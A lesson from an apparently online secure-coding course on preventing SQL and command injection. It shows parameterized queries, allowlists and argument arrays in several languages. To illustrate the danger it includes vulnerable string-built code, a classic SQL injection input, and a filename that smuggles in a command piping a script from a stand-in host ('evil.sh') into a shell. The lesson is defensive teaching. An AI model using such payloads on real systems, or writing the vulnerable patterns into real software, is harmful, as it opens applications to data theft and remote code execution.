Skip to content

Lesson 2 of 9 · 20m

Injection: parameters for SQL, argument arrays for commands

Why string-built queries and shell commands get owned, and the one fix that works in every language.

Injection happens when data is mixed into code: a SQL statement, a shell command, an LDAP filter, a template. The attacker's input stops being data and starts being instructions.

# Vulnerable: the input becomes part of the SQL text
cur.execute(f"SELECT * FROM users WHERE email = '{email}'")
# email = "' OR '1'='1" → returns every user

Escaping by hand is fragile (character sets, numeric contexts, LIKE wildcards). The fix is parameterized queries: the SQL text and the values travel separately, so the database never parses a value as SQL.

cur.execute("SELECT * FROM users WHERE email = %s", (email,))          # psycopg
await pool.query("SELECT * FROM users WHERE email = $1", [email]);      // node-postgres
$st = $pdo->prepare("SELECT * FROM users WHERE email = ?");             // PDO
$st->execute([$email]);
PreparedStatement st = conn.prepareStatement("SELECT * FROM users WHERE email = ?");
st.setString(1, email);

What parameters can't do

Placeholders work for values, not identifiers. A user-chosen sort column or table name must come from an allowlist:

const SORTS = { newest: "created_at DESC", top: "score DESC" };
const order = SORTS[req.query.sort] ?? SORTS.newest;   // never interpolate req.query.sort

ORMs help, but every ORM has a raw-SQL escape hatch (raw(), sql.unsafe, whereRaw). Grep for them in review.

Command injection

os.system("convert " + filename + " out.png")   # filename = "x.png; curl evil.sh | sh"

Don't call a shell. Pass an argument array so no shell ever parses the string, and put -- before user values so they can't be read as options:

subprocess.run(["convert", "--", filename, "out.png"], check=True, timeout=10)
execFile("convert", ["--", filename, "out.png"]);    // not exec("convert " + filename)
new ProcessBuilder("convert", "--", filename, "out.png").start();

In PHP prefer a library over exec; if you must, wrap each argument with escapeshellarg().

Least privilege backs it up: the app's database user shouldn't own the schema or be able to DROP, and the process running your converter shouldn't be root.

Practice: Parameterize the Query.